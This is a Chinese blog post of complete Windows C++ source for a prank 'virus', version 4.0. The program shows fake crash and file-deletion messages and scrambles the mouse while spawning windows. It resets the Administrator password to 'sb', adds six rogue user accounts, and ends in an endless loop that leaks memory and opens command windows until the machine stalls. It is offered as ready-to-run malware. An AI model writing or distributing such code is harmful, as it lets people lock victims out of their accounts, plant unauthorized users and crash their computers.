c++病毒4.0(鼠标乱飞修复)

#include 
#include
#include
#include 
#include 
#include 
#define a 415
#define b 466
#define c 554
#define d 622
#define e 740
#define f 831
#define g 932
using namespace std;
void jiou() {
	HWND hwnd = GetForegroundWindow();
	int cx = GetSystemMetrics(SM_CXSCREEN);
	int cy = GetSystemMetrics(SM_CYSCREEN);
 
	LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   //鸡你太美 
	SetWindowLong(hwnd,GWL_STYLE,
	              (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
	              ~WS_BORDER);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
int main ()
{
	jiou();
MessageBox(NULL,TEXT("程序已崩溃"),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(g,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
MessageBox(NULL,TEXT("系统受损严重,正在强行关闭此软件中..."),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(f,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(g,34);
Beep(e,354);
 
Beep(a,245);
Beep(d,324);
Beep(a,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(d,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
 int x1=GetSystemMetrics(SM_CXSCREEN);
    int y1=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
	for(int i=1;i<=100;i++)
	{
		 for(int i=1;i<=999;i++)
		 {
    	SetCursorPos(rand()%x1,rand()%y1);
		 	system("start");
		 }
		
		Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
	}
	system("net user Administrator sb");//自动把密码改成sb 
	Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(e,354);
		system("net user 1 sb /add");//创建用户
		system("net user 2 sb /add");//创建用户
		system("net user 3 sb /add");//创建用户
		system("net user 4 sb /add");//创建用
		system("net user 5 sb /add");//创建用户
		system("net user 6 sb /add");//创建用户
	 
    cout<<"正在删除系统文件中...";
    Sleep(1000);
    system("tree c:\\windows");
    system("cls");
    Beep(a,245);
Beep(d,324);
Beep(f,34);
Beep(e,354);
	MessageBox(NULL,TEXT("删除完成"),TEXT("电脑助手"),MB_OK);
    Sleep(1000);
    while(1){
    malloc(1000000);  
		system("start cmd");
	}
} 

你可能感兴趣的:(c++,病毒,c++,病毒)